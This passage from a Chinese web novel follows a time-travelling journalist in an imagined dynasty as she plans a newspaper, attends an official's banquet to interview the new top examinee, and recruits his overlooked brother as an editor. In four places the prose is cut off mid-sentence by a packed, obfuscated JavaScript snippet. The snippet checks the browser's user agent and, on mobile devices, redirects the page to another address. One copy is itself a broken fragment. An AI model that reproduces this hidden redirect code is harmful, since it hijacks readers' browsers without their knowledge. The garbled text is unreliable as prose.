这个时代不存在单独的印刷业、出版业,规模大些的书肆都有自己的印刷工坊。如果由他人代印,成本就会直线上升。若要创办报社,场所设置最好参考书坊的结构布局,在坊中开辟出单独的一处区域进行印刷。 孟允抒在脑内谋划着,在一名写工的指引下前往后院。 秋盈终于得空,小声问她:“夫人的目的是澄清事实,你既已付钱,为何不直接将小报免费发放给民众?” 秋盈的疑问将孟允抒从遥远的未来拉回当下。 “现今我尚无名气,若免费发报,众人只会当它是废纸一张。”孟允抒回答,“但掌柜为了多赚钱,定会想尽办法将报纸兜售出去。这样一来,我不用再为散播消息而发愁,也能先积攒些读者。” 秋盈了然:“这就是以退为进。” 孟允抒含笑点头。秋盈果然不符合她对丫鬟的刻板印象。 孟允抒和秋盈下工回府时,天色已经擦黑。府中下人说许昭已在正厅,待她回来用膳。 她事先告知过许昭今日晚归,没想到许昭会等她,火速钻进卧房卸妆换衣,又匆忙赶回正厅。 两人互相行礼后,许昭请孟允抒落座。他依然是那副冷淡平静的神色,秉持着“食不言寝不语”的良好作风,整个厅堂安静得只有碗筷碰撞声,孟允抒猜不出他的心理,也不知是否该同他搭话,只能闷头吃饭。 抄了一整日的书,孟允抒的胳膊酸痛,手也颤得厉害,捏着筷子不住发抖,拼尽全力才勉强稳住动作,不至于让许昭一眼瞅出破绽。 然而,昨夜她睡得太晚,困意渐浓,周围的空气又太过寂静,最终她还是打起盹来,筷子逐渐脱了手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310334|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“啪”地一声掉在地上。 她被清脆的声响吓醒,连忙起身道歉。 这响动倒成了孟允抒的开场白,许昭说了句“无妨”,叫人给她重新取了筷子,不咸不淡地问道:“最近几日你经常外出奔忙,可是有什么要紧事?” “没有。”孟允抒不想过早地把自己的底牌亮给许昭,随口扯了个谎,“只是想出去散散心。” 许昭抬眼看向她,轻叹一声道:“我不知姑娘是何想法,但请你与我明说。” 他没头没尾地来了这么一句,孟允抒一头雾水,疑惑地说道:“我不明白公子在说什么。” “自那日你出事之后,我差府中下人多留心你的动向。”许昭回答,“据他们所言,这几日你的精神甚好,但好得有些出奇。” 说着,他举了个例子:“我听他们说,你每日清晨都会在院中作法跳傩。” “……” 孟允抒不知道该怎么和许昭解释,那是她在做健身操。 他又指指孟允抒刚吃完的两碗米饭:“你的食量也比从前翻了五番有余。” 孟允抒心想,她要是按原主的饭量吃饭,不出两天就得饿晕过去。 “任谁经此波折都会通达许多。”孟允抒搪塞道,“来日方长,我不如率性而为。” 许昭对她的回答不置可否,两人吃完饭离席后,他叫孟允抒同他前去书房。 “今日刑部有官员外出办事,路过书肆曾买过一份小报。我想听听姑娘对此作何评价。” 孟允抒扫了一眼报头标题:《狼子野心?寻花问柳?你所不知道的刑部郎中许昭》。 这篇文章正是她亲笔所写。 她佯装认真阅读的样子,将文章从头到尾看了一遍,硬着头皮自夸道:“此文条理清晰,振聋发聩,不知是何人所作?” “嗯,证据确凿有力,又对虚假新闻发起猛烈攻击,可看出此人定然知晓事件内情,且为人正直,写作功力深厚。”许昭说着,居然笑了起来,“其身份真是神秘莫测。” 这是孟允抒第一次见到许昭的笑容。他笑起来的时候,眉眼中的霜雪尽数融化,如水汽氤氲在冰湖之上,为他添了几分柔和。 但她现在顾不上欣赏许昭的美颜,只是心虚地附和:“公子所言极是。” 傻子都能听出来,许昭显然已经猜到这篇文章出自她的手笔。 “我以前只知你柔顺,不曾想你竟是个有主意的。”许昭恭敬地向她作了一揖,“今日我已听闻百姓议论此事,感谢你为我扭转风评。我已将姑娘前日的教诲记在心上了。” 见许昭开门见山,孟允抒觉得这是个好机会,不如趁势给他刷点好感度。 她语气真诚地说道:“我从前也只认为公子是无情之人。切身走访调查后,我已得知真相,也希望百姓知晓公子为官清廉、为人方正。” 在一派友好祥和的氛围中,孟允抒收到了系统的通知。 【恭喜您完成新手任务,任务奖励已到账。您当前声望值为20,是否需要兑换情报?】 5. 热点 尽管孟允抒面对到账的声望值心痒难耐,她却迟迟没有兑换情报。 原因很简单,她当前的工作强度太大,根本抽不出半分闲暇采写新闻。她若是没能及时撰写报道,就相当于白白浪费了一次机会。 拢共就这么点声望值,好钢得用在刀刃上。 好不容易捱到午时,孟允抒印完一份文稿放到一旁,听得门外传来一阵凌乱的脚步声,三五个伙计走进来,对里面的其余人等喊道:“你们可以去吃饭了。” 孟允抒听到这话来了精神,连忙扔下手中的活计,招呼秋盈一同前往临近的小摊。 文昌书坊的经营时间从辰时一直持续至戌时,午时店里的伙计和工人分两批轮流休息,这段空隙只够她去吃顿饭,速度快些的话还能打个盹眯一会。 书坊休假同样遵循轮休制度,十日一休,饶是孟允抒这样饱经磨砺的社畜都顶不住这般压力。明天她终于能迎来自己的第一个假期。 想到这里孟允抒觉得有些对不住秋盈,说到底她是因为自己才上了这条贼船。 “这几日辛苦你了。”孟允抒要了两碗面,一屁股坐到板凳上,揉捏着酸痛的双腿,“这些活真不是一般人能干的。” 秋盈想替她把面中的调料拌匀,却被孟允抒抢了先,便挪来自己的碗小声说道:“我对此早已习惯,倒是委屈你与我们这些人同吃同行,终日劳碌。” 坊中有不少工人在此吃饭,孟允抒也不敢大声喧哗,压低嗓音佯装怒道:“都是肉体凡胎,我与你、与他人并无半分区别。以后不许再这样说话。” 秋盈显然还不适应二人的平等地位,但既然是孟允抒提出的要求,她也只好应下,挑起面条吃了起来。 相较于许府安静有序的氛围,闹市中的平民显然不拘小节,在吃饭时依然高谈阔论。几名工友与孟允抒同坐一桌,他们的大嗓门震得她的耳膜嗡嗡作响。 坐在孟允抒对面的男人兴冲冲地问道:“礼部今早在临明池放了榜,你们可知状元是何人?” “我从坊中客官那听说,新科状元萧睿言,是京兆府尹大人的小公子。” 他们的对话让孟允抒想起,现在距离上次殿试已经过了三年,今天又是一群人春风得意的日子。按照时辰推算,新科进士们这会正在享用御赐的琼林宴,宴席上定然少不了各式各样的山珍海味。 孟允抒瞅了瞅面前看不到一点油花、只有两片青菜作伴的面条,顿时觉得碗里的饭不香了。 胤朝自建立之初便有重文轻武的风气,文人的地位与权力大大提高,“万般皆下品,唯有读书高”在当下更是一句颠扑不破的真理。若是某人能在科举中一鸣惊人,他日后虽不一定能平步青云,但最起码能保证自身衣食无忧。 也正是因此,胤朝百姓的学习热情空前高涨,为文化产业提供了肥沃的生存土壤,在这一点上孟允抒倒是十分庆幸。 对面那人又故作高深地发问:“你们可曾见过萧公子本人?” “高官之子,哪是我们这些人轻易能见的。”孟允抒身旁的伙计不满地抱怨,“本来今日轮我值夜,但为了瞅一眼状元的真面目,我特意起了个大早赶到临明池,结果放榜处早就挤满了人,不仅没看见萧公子,我的鞋还被踩掉了一只,到现在都没找回来,亏大发了!” 孟允抒与桌上的工人发出一阵哄笑声,秋盈也掩面笑了笑。 “你们笑什么!”他恼羞成怒道,反问最开始说话的人,“听你的口气,你见过萧公子?” “我没见过,但我可知道不少关于他的消息。” “别卖关子了,快说。” 众人的关注让那人收获了极大的满足感,他不紧不慢地开口道:“萧公子刚及弱冠之年,仪表堂堂,与知名才女盛催雪还有一段风流韵事……” 从他后半段的描述中孟允抒可以判断出,这段话的可信度几乎为零,八成又是人们捕风捉影传出的闲话,以讹传讹演变成了如今有鼻子有眼的版本。 但这番话并非毫无用处。它提醒孟允抒,一个崭新的热点正摆在自己面前。 和现代的高考一样,官方公布成绩后,普罗大众最好奇的便是状元的名号花落谁家。在答案揭晓之后,人们又自然而然地会去探寻关于状元的一切,不外乎他的家庭背景、个人品性、学习方法、日常生活等方面。 孟允抒望了一眼对面那人口若悬河的样子。 看来对于胤朝人而言,还要再加上一个感情状况。 与此同时,系统的声音骤然在脑内响起。 【您已触发任务:三日内查清萧睿言的相关信息并向民众传播。任务完成后可获得40点声望。】 孟允抒内心一阵暗喜。这次的任务奖励比上次翻了一番,换句话说,萧睿言比许昭值钱多了。 联想到系统先前所言,“舆情热点通常与任务有直接关系”,孟允抒觉得她暂时不必在舆情热点上花费声望值。 孟允抒回忆了一遍任务目标。一切新闻的首要切入点都是当事人,对于民众关心的这些问题,固然可以从萧睿言身边的人口中得到答案,但萧睿言本人才是重中之重。 可她从未见过萧睿言,更别提与他有什么交情,要想接近他并了解其方方面面,并非是一件容易的事。即使她能乔装打扮混进萧府,也缺乏合适的理由对他展开细致深入的采访。 不得已之下,她询问系统:“为了完成任务,我需要面见萧睿言并对他进行详细提问,你能给我提供线索吗?” 【当然可以。每条调查线索需要消耗10声望点,请问您是否需要兑换?】 孟允抒舍不得一次性把声望点花光,选择先兑换其中一条。 【为庆贺萧睿言金榜夺魁,萧老爷将在明日于府中设宴。】 说完这句话,系统便没了声音。 孟允抒挑起面条的手凝滞在半空。 这就结束了? 旁边的秋盈见她忽然发起呆来,疑惑地问她:“你怎么了?” 孟允抒神色如常,微微一笑道:“我在思考。” 事实上,此刻她正在内心大骂系统:“然后呢?你说一半就没有后续了?这条线索有什么用?” 【非常抱歉给您带来不好的使用体验。但调查线索的特征就是这样,因为它太过零散,所以容易让人觉得莫名其妙。】 真不愧是适合新闻人体质的情报系统,片面报道的手法属实让它玩明白了。 孟允抒无奈掏出她兜里剩下的那点余额:“我再兑换一条调查线索。” 【萧老爷宴请了多位官员,其中包括许昭。】 孟允抒思忖,这条线索还算有点用处。只要能够说服许昭,她作为许昭名义上的夫人,就可以同他一起前往萧府。作为慕名而来的宾客,她向萧睿言请教攀谈也在情理之中。 除此之外便是文章见报的问题。 这次孟允抒长了个心眼,为防止郭掌柜到头来诓她的钱还要白拿她的消息和文章,她事先与郭掌柜商谈好了发行小报的相关事宜,言说她的探官朋友已经掌握萧睿言的独家新闻,掌柜同她约定,待她休假结束后带来消息,一手交钱一手交货。 当前万事俱备,只欠许昭这场东风。 孟允抒按照平时的日程下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310335|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工回府,许昭也同往常一样不曾与她产生过多交流。晚饭过后,孟允抒请许昭在堂中留步:“许公子,我有事要与你相商。” 许昭闻声走到案旁坐下:“姑娘请讲。” 孟允抒斟酌着语气,温声说道:“我听闻京兆尹大人的小公子在殿试中一举夺魁,为庆祝此事,萧大人邀请众位官员于明日赴宴。” 她的话刚刚落音,许昭的神色一凛:“你如何得知萧大人设宴之事?” 孟允抒对他的反应早有预料。过去两年二人互相猜忌,他们之间的隔阂不可能在一朝一夕就被打破。 “今日我在揽月阁用膳,菜肴迟迟不见上桌,我便叫来店小二问话。”孟允抒拿出她事先准备好的说辞,“他一再赔罪,说是一部分伙计被叫去准备萧府宴席需要的食材,后厨人手不够,这才耽搁了时间。” 揽月阁是京中规模最大的食肆,提供菜品预订与送货到家服务。许昭并不知道宴会筹备的内情,更不知揽月阁是否参与其中。 孟允抒当然也不清楚,但利用这个借口,她能够完美地解释自己的消息来源。 许昭示意她继续往下说,孟允抒装出兴奋的模样,将身子往许昭那边靠了靠,语调欢快地问:“许公子可有收到邀请?” “有。” 得到肯定答复,孟允抒稍稍松了口气。至少她不用在这个问题上和许昭斗智斗勇。 然而,他接下来的一句话又将孟允抒打了个措手不及。 “但我不打算赴宴。” “为什么?”急切之下,孟允抒的疑问几乎是脱口而出。 “我素来不喜、也不擅长与人交往。”许昭淡然回答,“更何况,朝堂之外的任何私交都有结党营私之嫌,我也不想为自身招致祸端。明日我差人往萧府送一份贺礼,聊表心意便是。” 面对意外状况,孟允抒一时怔住了。她千算万算却漏了一条信息:许昭是个独行侠。 从她的记忆中能够看出,许昭除日常工作之外,绝大多数时间都一人待在书房内看书写字,是个标准的宅男。 他自己不愿意出门,孟允抒也没办法绑架着他去萧府。 她忽然灵光一现。 道德绑架是个下三滥的招数,但面对许昭这种道德感极强的人来说,它实在是太好用了。 “可是我想去。”孟允抒语气恳切地说,“过去我总是闷在府中,心情低落,近日我常在外走动,与众人交谈,身子都好了许多。” “那便叫秋盈陪你去庙会,那里人群密集。” “但他们大多仅与我有一面之缘。”孟允抒哀婉地说道,“明日定会有许多朝臣的夫人、官家小姐前往萧府,我想结交些同我年龄相仿的姐妹。” 接着,她又卖起惨来:“自姚府倒台,我在这世上无亲无故……” 许昭见她还在为伤心往事耿耿于怀,心中又不免愧疚。说到底她的现状是他一手造成的,自然该由他收场。 “姑娘莫哭。”他手足无措,不知该如何安慰,最终只能妥协,“明日你与我一同前往赴宴便是。” “真的?”孟允抒喜上眉梢,刚才的愁容已经消失得一干二净。 她没想到这招见效如此之快。 “君无戏言。” 孟允抒达成自己的目的,便不再演戏。她一瞬间激动得忘乎所以,猛地站起身冲过去,将许昭抱了个满怀:“多谢公子。” 说完,她又飞快地跑出门外,前去准备自己的问题。 过了半晌,待许昭脸上的绯红和孟允抒身上的清香一同散尽后,他才缓缓回过神,强装镇定地喝了口茶。 6. 人脉 京城是皇亲国戚、达官显贵的聚居地,萧家在其中虽称不上家大业大,但也算是人丁兴旺,府邸面积不小,亭台楼阁分布得错落有致,构成一个小巧而精致的私家园林。 在府中下人的接引下,列位宾客一同前往正厅。孟允抒望了一眼前方攒动的人头,微微颔首,规矩地跟在许昭身侧,生怕自己一时不慎露出马脚。 许昭察觉到她的紧张,却只当她是因为见到众多外人而循规拘礼,便悄声向她依次介绍赴宴宾客的身份和性格特点。 “廊柱旁边站着的那人是吏部员外郎,长袖善舞,四处笼络人心。” “被众人簇拥的那名体胖之人是御史中丞,旁边跟着的是他夫人。那女子不是他的发妻,是在其原配逝世后被他迎娶进门的。当时距他的发妻去世不过一月。” 说到后半句时,许昭的面色如常,但语气中有很明显的愤慨和斥责。 赴宴的宾客人数众多,直到他们依次落了座,许昭还在介绍这些人的概况。 “离门口最近的那位是太常寺少卿,为人刚正,直言不讳,也因此与多位官员结仇。” 这话分明是在叙述客观事实,孟允抒却从中听出了几分赞许。 伴随着许昭的锐评,孟允抒的目光从诸位宾客身上一一扫过。令她意外的是,许昭在介绍这群人时的表现与平日截然不同,完全没有那副置身事外的冷淡,而是具有强烈的个人好恶,可以明显感受到他的感情倾向。 “既然众位亲朋已经到齐,那我们便可以开宴了。不过在此之前,还请诸位容我絮叨几句。” 坐在首席的萧老爷发了话,堂中的喧哗便低了下去,逐渐四散成微不可闻的低语,最终如水汽蒸发一般消失不见。 孟允抒抬眼看向座首,萧大人已年逾五十,但须发乌黑,声音洪亮,看上去还是正值壮年的模样。他身居要职,气度不怒自威,可谈吐又温和亲切,让人听来如沐春风。 像他这样的人,无论放到哪个时代,都能在官场混得风生水起。 孟允抒对冗长的领导讲话不感兴趣,便分出一半注意力来打量他身旁的那三名年轻男子。 这三人的眉宇之间都与萧大人有些相似,不难判断出他们的身份。 “……忙于公事,教子无方。所幸萧府蒙受天子福泽,三位犬子皆精于诗书,文采斐然。” 萧老爷的话印证了孟允抒的猜想。任务对象已经出现,她凝神听他继续说下去。 萧老爷笑呵呵地看向离自己最近的那名男子:“长子萧恒言,现任鸿胪寺少卿,诸位都认识,我便不在此多费口舌了。” 萧恒言闻声站起身,向四面宾客恭敬行礼:“众位长辈亲朋在百忙之中赏光莅临萧府,应邀前来为舍弟道喜,恒言在此谢过诸位。” 他的举止得体,落落大方,又是家中长子,从萧老爷的满面红光来看,他对萧恒言相当满意。 他又望向今日宴席的主角:“末子萧睿言聪明伶俐,却并不勤于读书,整日将心思放在游玩享乐上,自幼便让人发愁。好在他这两年收了心,迎头赶上,才有今日的金榜题名。” 他的语气多有嗔怪,但孟允抒一听便知其中明贬暗夸的意味。 见萧睿言起身谢礼,孟允抒坐直身子,好将他的样貌看得更清楚些。 如坊中传言所说,萧睿言看上去二十岁左右的年纪,面如冠玉,嘴角总是噙着笑意,身着一袭缕金竹青长衫,色彩的明暗交织相得益彰。他抬手时,丝质的衣袖翩然拂动,衬得他整个人温润儒雅,如夏夜间的清风朗月。 “萧老爷真是好福气。”许昭方才介绍过的那名吏部员外郎朝案首说道,“当年萧大公子连中三元,如今小公子又金榜夺魁,一门双状元,可喜可贺!” 说罢,其余的各位宾客也纷纷应和,各种溢美之词淹没了整个厅堂,萧老爷连同那两位被夸赞的公子则连连自谦,声称诸位言过其实。 在这满堂的喜庆中,孟允抒注意到那个位置居中的二公子坐立难安,起身道谢也不是,坐着旁观也不是,在夹缝中手忙脚乱,连与他相隔十米远的孟允抒都能感受到他的窘迫。 待宾客的客套话平息过后,萧老爷似乎才想起来二公子的存在,捎带着介绍了一句:“次子萧谨言平日手不释卷,勤恳学习,只是天资不足,未能考取功名。但谨言为人忠厚,尊敬师长,还望诸位对他多加指教。” 萧老爷说的就是一句经典的场面话,对于家长来说,要是一个孩子没什么拿得出手的突出优点,那就夸他老实乖巧。 萧谨言的外貌也称得上是玉树临风,又带着浓厚的书卷气,可行动起来总是目光躲闪。他局促地向众人行礼,却因为动作幅度过大撞翻了桌上的茶盏,脸上红一阵白一阵,嘴里不住地道歉。 孟允抒算是明白了,萧谨言是个社恐。看着他滑稽的动作,她觉得又是好笑又是同情,在道德感的驱使下努力憋住笑意。 “今年我五十有四,心有余而力不足,要不了几年就该告老辞官了。” 从方才三位公子的表现以及萧老爷的评价与态度中,孟允抒已经将他们的性格摸了个大概,同时也意识到萧老爷设宴的真实目的。 现今萧家父子三人都入朝为官,两位公子又潜力巨大,在外人眼中,他们浑然一体,是一股不可忽视的势力,或是为人忌惮,或是被人拉拢,总之他们已经难以逃离纷争的漩涡。 在这种情况下,萧老爷选择广结善缘,他有意栽培自己的两个儿子,完成人脉资源的交接。待他们在朝中站稳脚跟,自己便可全身而退,也能顺利稳固家族地位。 朝政局势波谲云诡,萧家的兴衰危亡不过在瞬息之间,一着不慎便可能祸及全家。 孟允抒觉得,以萧谨言表现出的性格来看,他没能在科举中取得名号反倒是一件好事。他要是进了官场,估计只有被人使唤着背黑锅的份,运气不好还得当个替死鬼。 萧老爷一席话毕,正式宣告开宴。萧府事先请了乐坊的歌女乐师前来表演助兴,再加上席间的宾客纷纷向萧老爷和几位公子祝酒道喜,推杯换盏之下,宴会的氛围很快被炒得热络起来,宾客们也趁此机会拉近彼此之间的关系。 当然,在这个过程中,许昭不在其列。不管周围的人们如何兴高采烈,许昭只是正襟危坐,偶有人唤他的名字向他敬酒,他也只是略一点头,草草几句便结束对话。 在此之前,孟允抒只当许昭是与她关系生疏,因而在府中用膳时一言不发,平日里也不经常同她攀谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310336|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。今天她才明白过来,许昭并不是针对她,而是平等地远离所有人。 孟允抒很难想象,许昭到底是怎么在朝廷上混下去的。 她挪了挪身子凑近许昭,低声提醒他:“许公子,你还不曾向萧大人祝酒。” 许昭淡然回答:“方才落座前我已向萧大人道喜,同样的话翻来覆去地说上几遍,意义何在?” 孟允抒感慨,要是每个人都有许昭这个觉悟,酒桌文化也不至于延续几千年了。 当前是向萧睿言发问的最佳时机,既然许昭不愿意敬酒,孟允抒只好起身举杯,面向座首的萧老爷笑道:“萧大人,这杯酒我敬您,一为祝贺,二为道谢,三为赔罪。” 嘈杂的厅堂之中猛地冒出一个敬酒的女声,铿锵有力毫不露怯,这引得众人纷纷向孟允抒投来惊疑的目光,席间短暂地安静了一瞬,又很快演化为一阵窃窃私语。 许昭没想到她会突然起身,赶忙悄声问她:“你要干什么?” 孟允抒没理他,只注视着萧老爷闻声举杯。他看向孟允抒所在方位,又望了一眼她身旁的许昭,似是在辨认她的身份。 他笑容可掬地应道:“孟夫人祝贺之意我心领神会,只是这道谢和赔罪从何说起?” 孟允抒回答:“许公——” 她意识到外人并不清楚她与许昭的关系,连忙改口道:“许郎他不善言辞,心直口快,平日里定然对大人多有冒犯。” 说着,她又转向席上的其他官员:“对诸位大人也是一样,还请各位多多海涵,我在此替他赔个不是。” 她将杯中酒一饮而尽,而后又重新斟满,看向萧老爷说道:“而大人不计前嫌,宽宏大量,今日依然邀请许郎前来赴宴,让我得以一观三位公子的风姿,见到朝中诸位重臣,沾了萧府的喜气,允抒感激不尽。” 这话说得恳切,连孟允抒自己都被感动了。 萧老爷大笑着应道:“朝中官员皆知许大人秉公直言,我也深感敬佩,我们早已习惯他的作风。” 鉴于刚才孟允抒道歉态度良好,各位大臣也就坡下驴,席间响起一阵此起彼伏的应和声。 萧老爷饮下一杯酒,表示他已经收下了孟允抒的敬意:“只是我未曾想到,许大人平日不苟言笑,竟能娶得如此伶俐聪慧的夫人。” 席上也有人打趣道:“想来正是因此,许大人才金屋藏娇,今日我们才正式与孟夫人会面。” 众人的调侃一齐向许昭涌来,这让他难以招架,像刚才的萧谨言一般如坐针毡。 孟允抒觉得他无措的模样十分好笑,但又担心下次他不再带自己参与类似活动,看了会戏后决定替他解围,将话题引到她的任务目标上:“萧大人,今日我能见到两位状元已是三生有幸,只是允抒对几位公子十分好奇,大人能否容我向他们提问?” 萧老爷认为这是锻炼他们临场应变能力的绝佳机会,欣然应允道:“孟夫人请便。” 她笑意盈盈地问:“几位公子意下如何?” 萧恒言和萧睿言自然给出了肯定答复,萧谨言则是一副被迫的模样,露出一个尴尬而不失礼貌的微笑。 像过去参加新闻发布会那样,孟允抒站起身,面向萧睿言抛出了第一个问题。 7. boss直聘 这场家宴足足持续了两个时辰,除过萧睿言本人,孟允抒还从旁人那里打探来不少关于他的情报,能够从另一个角度佐证他的答案。 孟允抒在脑内回忆着她的所见所闻,一篇状元采访稿已经基本成型。要是能了解到更深层的信息,对其中的部分细节进行补充,那更是堪称完美。 宴会结束后,萧大人又请诸位宾客共同观赏萧府园景,但大家的心思显然并未放在单纯的观景上,过了十多分钟,人们又自发三五成群,形成一个个独立的小团体进行人际往来活动,在言语之间拉近彼此的关系。 对新闻记者来说,人脉往往与信息资源挂钩,今日的宴席为孟允抒提供了一个千载难逢的好机会。凭借着过去在采访生涯中练出的口才,她用三两句话便打入了官员夫人与小姐的圈层之中,顺利博得她们的好感。 等孟允抒心满意足地退出聊天,她才想起来,自己不知道把许昭扔哪去了。 男女有别,许昭根本不可能插进她们的谈论当中,从一开始就没跟着孟允抒走。按照许昭的性格,她猜测他应该寻了个清净的去处,于是沿着长廊一路向前。 她深入到花园后方,依然没能寻见许昭的身影。 在园中绕了半晌,当她再次回到那个似曾相识的小路上时,孟允抒不但没找到许昭,还发现了一个更糟糕的情况。 她迷路了。 孟允抒算不上路痴,但方向感的确一般。胤朝没有导航为她指路,建筑上更不可能标注门牌号,萧府设计园林时又追求美观,园中道路不像大马路那样简洁笔直,绕得孟允抒晕头转向。 反正闲着也是闲着,孟允抒决心再四处走走,若是能找到回去的路那自然最好,若是找不到就全当观赏风景。 她拐了个弯,向前走了一段,忽而闻得一阵芳香扑鼻而来。孟允抒抬眼望去,一树海棠骄艳如火,花团一簇簇地点缀在树木的枝桠上,像是将其点燃一般,整棵树都被烧得明亮,毫不遮掩地撞进她的眼中。 孟允抒被眼前的耀眼夺目的海棠震撼,过了许久才注意到另一侧的梨花还含苞待放。 这一情况很是反常。此时正值阳春三月,按常理来说应是梨花盛放、海棠未开的时节,然而这一顺序被颠倒了。 “梨花未雪棠先雨,半面迎春半面伏。却梦今朝寒日去,晴霜万里入皇都。” 这句诗恰到好处地描述了孟允抒眼前的奇观,声音的主人在吟至最后两句时,又自嘲般地苦笑了一声。 诗句的内容似乎饱含作者对于心愿落空的失望。 孟允抒没料到还有人在这僻静之地,便循声走了过去。 绕过一处假山,孟允抒见两三米外的凉亭中坐了个人,半靠着柱子唉声叹气。 从背影中孟允抒分辨出,此人正是萧谨言。 她心下疑惑,今日萧府设宴,他作为主人,这会应该和他的父亲兄弟一起招待客人才对。 孟允抒上前问道:“二公子,你怎么在这?” 萧谨言被这突如其来的问候吓得一颤,腾地一下从凳上跳了起来,待回头看清来者面容后才松了口气:“原来是孟夫人。” 他挺直腰背站好,磕磕绊绊地问道:“你有什么事?” 显而易见,他并没有完全放松下来。 孟允抒对萧谨言也有诸多疑惑,不如趁此机会询问一番。 她微微一笑,安抚他道:“公子不必紧张,我只是迷路至此,见到公子想与你聊聊。” 萧谨言的声音中满是警惕:“聊什么?” 孟允抒有些纳闷,她的长相极具亲和力,萧谨言不至于害怕成这样吧。 “我想问公子几个简单的问题,不知你是否方便?” 萧谨言瞥了她一眼,不满地嘀咕着:“方才你在席上就是这么说的,最后却问了一连串。” 孟允抒明白了,自己的犀利发言给萧谨言这个社恐留下了不可磨灭的阴影。 话虽如此,萧谨言还是拿出了主家应有的礼节,请孟允抒在他对面坐下:“夫人请讲。” “我无意冒犯公子,若言语中有不妥之处,还望公子见谅。”孟允抒给他打了个预防针,“方才我听见公子吟诗,我想请教公子,这几句诗出自何人之手,又是何含义?” “你听见了?”萧谨言握起拳,指尖被他攥得发白,一副强忍尴尬的模样,语速飞快地说道,“那、那是我看见园中奇景即兴胡说的几句,并无实际意义,让夫人见笑了。” 孟允抒决定采取迂回战术,先拉近两人的距离再深入聊天:“二公子果然好文采。方才席间行酒令时我便发现,公子才华横溢,作文写词的水平甚至远超大公子与小公子,看得出你是饱读诗书之人。” “夫人谬赞了。”萧谨言嘴上这么说,可看得出他对这一夸奖很是受用,脸上有掩不住的喜色。 然而他的神情又很快被哀伤取代:“夫人一定是见我不受重视,形容猥琐,又孤身一人在此,故出此言为我宽心。” 孟允抒顺势问出那个关键问题:“在我看来,公子一表人才,且学识并不在你的兄弟之下,公子为何要这般贬低自己?” 但萧谨言还在孟允抒是不是真心夸赞他的问题上纠结:“谨言无权无能,夫人与我交好并无意义,不必顾及我的情绪。” 孟允抒有点头疼,真是个拧巴的人。 她耐心问道:“那请公子告诉我,你为何会认为我在说客套话?” “明眼人都看得出,我的长兄与小弟皆是出类拔萃的人才,在科考中所向披靡,更何况我的出身还较他们低些,我怎可与他们相比。”萧谨言的眼神落寞,“我心里明白,众人愿意吹捧我,不过是因为我沾了两位兄弟的光。” 先前孟允抒从那群夫人口中得知,萧恒言与萧睿言皆是正室所出,萧谨言的母亲则是侧室,因而他总觉得自己低人一等。 “并非如此。我的确认为公子文章卓越不群。” 尽管孟允抒一再鼓励,萧谨言仍是不信,摆摆手道:“我若真是旷世奇才,为何屡考不中?” 孟允抒找到问题突破口,连忙追问:“此话怎讲?” “我比睿言年长七岁,故而比他多参加过两次科举,如今已考过三回。”他说到伤心往事,声音渐渐低了下去,“三次考试中,最后这次我才堪堪通过院试。” 而后,他的声音骤然高昂起来,癫狂似地在亭中左右踱步:“我长兄连中三元,睿言年纪轻轻却一举夺魁,家中有大小两位状元,我是中间那个萧秀才!哈哈,秀才!” 完了,孩子考试考疯了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310337|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孟允抒对他的遭遇深表同情和理解。科举考试是平民百姓飞黄腾达的唯一途径,那可是正经八百的千军万马过独木桥,简直是地狱难度。 要不然为什么范进中举之后会发疯呢。 “公子,你先冷静。”见萧谨言完全没有停下来的意思,孟允抒只好提高嗓门坦言道,“可科考并不一定能检验一个人的才华学识。” 萧谨言顿住脚步:“你说什么?” 孟允抒发觉她这话有大逆不道之嫌,赶忙解释道:“一张试卷就那么些题,形式又固定,怎么可能面面俱到。更何况,也许公子只是不擅长应试,而非才疏学浅。” 她忽而想到一个双赢的好主意:“既然公子在科考中徒劳无功,为何不索性换个方向试试?” 听到这话,萧谨言安静下来,重新坐回孟允抒对面:“请夫人为我指点一二。” 孟允抒开始发挥每个创业者必备的画饼技能,发表了一段慷慨激昂的讲话,详细讲述了她创建报社的计划以及新闻行业光明的市场前景,诚邀萧谨言担任报社编辑。 